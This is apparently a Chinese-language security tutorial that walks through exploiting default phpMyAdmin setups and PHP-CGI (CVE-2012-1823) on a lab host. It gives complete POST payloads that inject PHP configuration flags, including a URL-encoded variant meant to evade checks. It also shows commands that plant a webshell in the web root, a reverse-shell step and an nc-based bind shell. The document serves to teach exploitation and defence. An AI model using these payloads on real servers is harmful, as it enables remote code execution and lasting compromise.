手动漏洞挖掘(一)---phpMyAdmin默认安装漏洞

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径。其中一个优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库。在早期的版本中,默认安装完成是存在漏洞的,比如通过访问phpMyAdmin/setup无需登录就可以对服务端进行修改

phpmyadmin/setup默认安装

payload

1
2
3
4
5
6
7
8
POST http://192.168.43.117/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.43.117
Content-Length: 37

<?php
passthru('id');
die();
?>

通过提交参数修改php.ini配置文件,就可以执行请求中插入的php代码
die函数作用是输出一条消息(这里为空),并退出当前脚本,目的是过滤多余的信息。

image
当然还可以使用其他命令执行的函数,不过显示的效果不同

  • system():直接输出所有结果并返回最后一行shell结果。
  • exec():不输出所有结果而是显示结果的最后一行,所有结果可以保存到一个返回的数组里面。
  • passthru():把命令执行的所有结果直接输出。

除了执行命令查看系统信息或文件外,还可以向服务器写入一句话木马

1
2
3
4
<?php  
passthru('echo "<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" > /var/www/shell.php');
die();
?>

(‘\’的作用的转义)
image
image

这样就可以通过浏览器直接执行系统命令
image

写入php反弹shell
可以用kali中自带的shell(/usr/share/webshells/php/php-reverse-shell.php)
image
用nc监听,发送payload就可以得到一个目标系统的shell
image

Debian/Ubuntu默认安装的PHP5-CGI

这是Apache和PHP的组合代码执行漏洞。在Debian和Ubuntu的漏洞存在于默认安装PHP5-CGI包。

payload

1
2
3
4
5
6
7
8
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.
Host: 192.168.43.117
Content-Length: 37

<?php
passthru('id');
die();
?>

上面的url编码语句,实际上就是一堆参数,用来提交给服务器修改配置。编码的作用是为了绕过检查机制

1
-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -%6

image

主动打开目标服务器的端口,等待连接

1
2
3
4
<?php  
system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe');
die();
?>

用nc连接目标服务器
image


参考:
cgi-bin Remote Code Execution
CVE-2012-1823(PHP-CGI RCE)的PoC及技术挑战
PHP-CGI远程代码执行漏洞(CVE-2012-1823)分析